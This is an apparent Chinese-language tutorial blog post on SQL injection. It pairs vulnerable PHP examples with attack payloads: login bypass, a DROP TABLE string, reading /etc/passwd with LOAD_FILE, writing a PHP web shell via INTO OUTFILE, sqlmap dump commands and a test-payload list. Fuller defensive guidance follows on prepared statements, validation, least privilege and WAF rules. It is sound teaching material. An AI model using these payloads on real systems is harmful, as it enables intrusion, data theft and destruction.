SQL Injection 是一種安全漏洞,當應用程式未對使用者輸入進行適當的驗證或清理時,攻擊者可以利用該漏洞,將惡意的 SQL 代碼注入至該應用程式,從而操作或存取資料庫。攻擊者通常會在輸入欄位(例如:登入表單)中輸入特殊的 SQL 語句,企圖改變原始 SQL 語句的結構和意義,從而達到不法目的
介紹 SQL
先參考一下上圖,了解一下 SQL 的架構,由大範圍到小範圍分別是 Database ➜ Table ➜ Column ➜ Data 每個 Database 中會有一個或多個 Table,上圖就有 Production.Bread、Production.Category、Sales.Customer 等等。 Table 中又會有一個或多個 Column,像是 Sales.Customer 這個 Table 中有 firstname、lastname 以及 email。
漏洞實現
SQL Injection 可以根據攻擊目的和手法分為多種類型,以下將詳細介紹不同的攻擊方式:
Union-based SQL Injection (聯合查詢注入)
這是最常見的 SQL Injection 類型,攻擊者使用 UNION 關鍵字來合併多個查詢結果。
假設您有一個商品搜尋頁面:
$product_id = $_GET['id'];
$sql = "SELECT name, price FROM products WHERE id = '$product_id'";
$result = mysqli_query($conn, $sql);
攻擊者可以輸入:1' UNION SELECT username, password FROM users --
查詢就會變成:
SELECT name, price FROM products WHERE id = '1' UNION SELECT username, password FROM users --'
這樣就能同時獲取商品資訊和所有用戶的帳號密碼。
Boolean-based Blind SQL Injection (布林盲注)
當應用程式不直接返回錯誤訊息或查詢結果時,攻擊者可以根據頁面的不同回應來推斷資料庫內容。
$user_id = $_GET['user_id'];
$sql = "SELECT * FROM users WHERE id = '$user_id' AND status = 'active'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "User found";
} else {
echo "User not found";
}
攻擊者可以測試:
1' AND 1=1 --
(返回 “User found” 表示注入成功)1' AND 1=2 --
(返回 “User not found”)1' AND (SELECT COUNT(*) FROM users) > 10 --
(判斷用戶表是否有超過10筆資料)
Time-based Blind SQL Injection (時間盲注)
當頁面回應都相同時,攻擊者可以利用延遲來判斷注入是否成功。
$email = $_POST['email'];
$sql = "SELECT * FROM users WHERE email = '$email'";
攻擊者輸入:test@example.com' AND IF(1=1, SLEEP(5), 0) --
如果注入成功,頁面會延遲 5 秒才回應。
和平做法(單純測試娛樂)
假設您有一個簡單的登入頁面,使用者輸入他們的用戶名和密碼。後端程式碼可能像這樣:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
如果我今天輸入的帳號或是密碼是 ' OR '1' = '1' --
,那我在做 mysqli_query 時,我的 SQL 搜尋句就會變成
SELECT * FROM users WHERE username = '' OR '1' = '1' -- ' AND password = ''
這段搜尋結果大致上等同於
SELECT * FROM users WHERE username = '' OR True
--
是 SQL 中的註解符號,所以它會使查詢中剩下的部分(AND password = ''
)被忽略,所以在這樣的情況下,我們就可以實現把 username 全表直接倒出來
或是你也可以輸入 ' or ''='
,就可以讓搜尋指令變成
SELECT * FROM users WHERE username = '' or ''='' AND password = '' or ''=''
就等同於底下這段查詢指令,一樣可以達到攻擊效果。
SELECT * FROM users WHERE username = '' or True AND password = '' or True
邪惡做法(將可能對伺服器造成重大危害)
到這邊都還不會對資料庫造成實質性傷害,如果我今天輸入了 '; DROP TABLE user --
,那整段查詢就會變成
SELECT * FROM users WHERE username = ''; DROP TABLE user -- ' AND password = ''
如果成功,那名為 user 的資料表就會成功被我刪除(DROP)了
更多破壞性攻擊示例
1. 批量資料洩露
1' UNION SELECT table_name, column_name FROM information_schema.columns --
這可以獲取資料庫的結構資訊,包括所有表格和欄位名稱。
2. 資料庫版本探測
1' UNION SELECT @@version, database() --
獲取資料庫版本和當前使用的資料庫名稱。
3. 檔案系統操作 (MySQL)
1' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --
在某些情況下可以讀取伺服器檔案。
4. 寫入後門檔案
1' UNION SELECT '<?php system($_GET["cmd"]); ?>', NULL INTO OUTFILE '/var/www/html/shell.php' --
嘗試寫入一個 web shell 到網站目錄。
工具做法:sqlmap
https://github.com/sqlmapproject/sqlmap
SQLMap 是一個自動化的 SQL 注入檢測和利用工具,以下是常用的指令:
基本使用
sqlmap -u 網址 --batch --dbs
詳細參數說明
--batch
: Never ask for user input, use the default behavior--dbs
: Enumerate DBMS databases--users
: Enumerate DBMS users--tables
: Enumerate DBMS database tables--columns
: Enumerate DBMS database table columns--dump-all
: Dump all DBMS databases tables entries,將所有資料庫匯出成 csv 檔案,只想匯出當前的話請用--dump
-D DB
: DBMS database to enumerate-T TBL
: DBMS database table(s) to enumerate-C COL
: DBMS database table column(s) to enumerate--random-agent
: 隨機 UA,用來迷惑 WAF
實際攻擊範例
# 檢測並列出所有資料庫
sqlmap -u "http://example.com/product.php?id=1" --batch --dbs
# 列出特定資料庫的所有表格
sqlmap -u "http://example.com/product.php?id=1" -D shop --tables
# 提取特定表格的資料
sqlmap -u "http://example.com/product.php?id=1" -D shop -T users --dump
# 針對 POST 請求進行測試
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --batch
# 使用代理伺服器和隨機 User-Agent
sqlmap -u "http://example.com/product.php?id=1" --proxy="http://127.0.0.1:8080" --random-agent
如何防制
防制 SQL Injection 需要多層防護策略,以下是詳細的防護措施:
1. 使用參數化查詢 (Parameterized Queries)
這是最有效的防護方式,將 SQL 語句和資料分離處理。
PHP 範例
// 不安全的寫法
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// 安全的寫法 - 使用 prepared statement
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
Java 範例
// 不安全的寫法
String sql = "SELECT * FROM users WHERE id = " + userId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// 安全的寫法
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();
Python 範例
# 不安全的寫法
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
# 安全的寫法
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
如果我今天一樣輸入 'OR '1'='1
的話,系統會把它解讀成一個查詢字串,而不會把它融合在指令中。簡而言之,我可以通過這個登入一個名為 'OR '1'='1
的用戶,但我無法實現 SQL Injection。
2. 輸入驗證 (Input Validation)
對所有使用者輸入進行嚴格的格式驗證。
白名單驗證
// 只允許字母和數字
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
die("Invalid username format");
}
// 驗證 email 格式
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die("Invalid email format");
}
// 驗證數字範圍
if (!is_numeric($id) || $id < 1 || $id > 999999) {
die("Invalid ID");
}
長度限制
if (strlen($username) > 50) {
die("Username too long");
}
3. Escaping 所有用戶輸入
將特殊字符進行轉義處理,但這只能作為輔助防護措施。
// PHP 範例
$username = mysqli_real_escape_string($conn, $_POST['username']);
// 或使用 htmlspecialchars 防止 XSS
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
4. 最小權限原則 (Least Privilege)
為不同的應用功能創建不同權限的資料庫用戶。
-- 創建只讀用戶(用於搜尋功能)
CREATE USER 'search_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON shop.products TO 'search_user'@'localhost';
-- 創建限制寫入用戶(用於用戶註冊)
CREATE USER 'register_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT ON shop.users TO 'register_user'@'localhost';
-- 避免使用 root 或具有 DROP、CREATE 權限的用戶
5. 額外防護措施
使用 WAF (Web Application Firewall)
# Apache mod_security 規則範例
SecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
block,\
msg:'SQL Injection Attack Detected',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
錯誤訊息處理
// 不要顯示詳細的錯誤訊息
// 錯誤示範
if (!$result) {
die("MySQL Error: " . mysqli_error($conn));
}
// 正確做法
if (!$result) {
error_log("Database error: " . mysqli_error($conn));
die("An error occurred. Please try again later.");
}
定期安全檢查
# 使用 sqlmap 定期檢測自己的網站
sqlmap -u "http://yoursite.com/login.php" --data="username=test&password=test" --batch
# 檢查資料庫日誌
tail -f /var/log/mysql/mysql.log | grep -i "select\|insert\|update\|delete"
實際案例分析
案例一:2017年 Equifax 資料外洩事件
Equifax 是美國三大信用評估機構之一,在2017年遭受大規模資料外洩,影響約1.47億人。攻擊者利用了 Apache Struts 框架中的漏洞,該漏洞本質上也是一種注入攻擊。
學習重點:
- 定期更新框架和依賴套件
- 實施多層防護
- 建立事件應變計畫
案例二:常見的購物網站攻擊
// 漏洞代碼
$product_id = $_GET['id'];
$sql = "SELECT * FROM products WHERE id = $product_id";
攻擊者訪問:http://shop.com/product.php?id=1 UNION SELECT username,password FROM admin_users
修復方案:
$product_id = (int)$_GET['id']; // 強制轉型
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$product_id]);
檢測與測試工具
除了 sqlmap 之外,還有其他實用的工具:
1. Burp Suite
專業的 Web 應用程式安全測試平台
# Burp Suite Intruder 可以自動化測試 SQL 注入
# 設定 payload lists 包含常見的 SQL 注入字串
2. OWASP ZAP
免費的安全掃描工具
# 使用 ZAP 進行自動掃描
zap-baseline.py -t http://example.com
3. 手動測試 Payload
-- 常用的測試字串
'
"
`
')
")
`)
' OR '1'='1
" OR "1"="1
` OR `1`=`1
'))/**/OR/**/('1'='1
")/**/OR/**/("1"="1
`)/**/OR/**/(`1`=`1
1' UNION SELECT NULL--
1" UNION SELECT NULL--
1` UNION SELECT NULL--
Reference
- OWASP SQL Injection Prevention Cheat Sheet
- PortSwigger - SQL Injection Cheat Sheet
- PortSwigger - What is SQL injection (SQLi)
- OWASP Testing Guide - Testing for SQL Injection
- SQLMap Documentation
- PHP: mysqli_stmt::bind_param
- Java PreparedStatement
- ChatGPT
- 資安這條路 04 - Injection SQL injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)